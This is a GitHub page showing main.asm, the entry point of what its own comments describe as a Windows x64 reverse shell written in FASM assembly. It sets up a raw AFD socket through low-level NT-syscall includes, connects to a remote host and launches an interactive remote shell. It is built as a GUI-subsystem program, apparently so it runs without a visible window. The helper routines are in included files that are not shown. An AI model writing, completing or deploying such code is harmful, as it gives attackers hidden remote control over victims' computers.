-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.asm
More file actions
78 lines (60 loc) · 2.53 KB
/
main.asm
File metadata and controls
78 lines (60 loc) · 2.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
format PE64 GUI 5.0
entry start
include '..\INCLUDE\MACRO\PROC64.inc'
; =====================================================================
; Program Entry (start)
; Initializes WSA (AFD raw socket), connects to remote host, and
; launches a remote shell.
; =====================================================================
start:
; --------------------------------------------------------------
; Standard prologue / stack frame setup
; --------------------------------------------------------------
push rbp
mov rbp, rsp
; Allocate shadow space (32 bytes) + 16 bytes for locals:
; [rbp-8] = hSocket
; [rbp-16] = hEvent
sub rsp, 32 + 16
and rsp, -16 ; maintain 16-byte alignment
; --------------------------------------------------------------
; Initialize local WSA_HANDLES block to zero
; --------------------------------------------------------------
mov qword [rbp-8], 0 ; hSocket = 0
mov qword [rbp-16], 0 ; hEvent = 0
; RCX must hold pointer to WSA_HANDLES for wsa_startup()
lea rcx, [rbp-8]
push rcx ; keep pointer on stack for later restore
; --------------------------------------------------------------
; Initialize AFD endpoint (raw WSA startup)
; --------------------------------------------------------------
call wsa_startup
cmp rax, -1 ; startup failed?
je start_error
; --------------------------------------------------------------
; Connect to remote target (AFD connect)
; --------------------------------------------------------------
call wsa_connect
cmp rax, 0 ; non-zero = error
jne start_error
; --------------------------------------------------------------
; If startup + connect succeeded:
; start interactive remote shell over the AFD socket
; --------------------------------------------------------------
call create_remote_shell
; restore stack after previous push rcx
add rsp, 8
; =====================================================================
; Error Exit
; =====================================================================
start_error:
mov rsp, rbp
pop rbp
ret
; =====================================================================
; Includes
; =====================================================================
include 'utils.inc'
include 'ntsyscalls.inc'
include 'afd.inc'
include 'system.inc'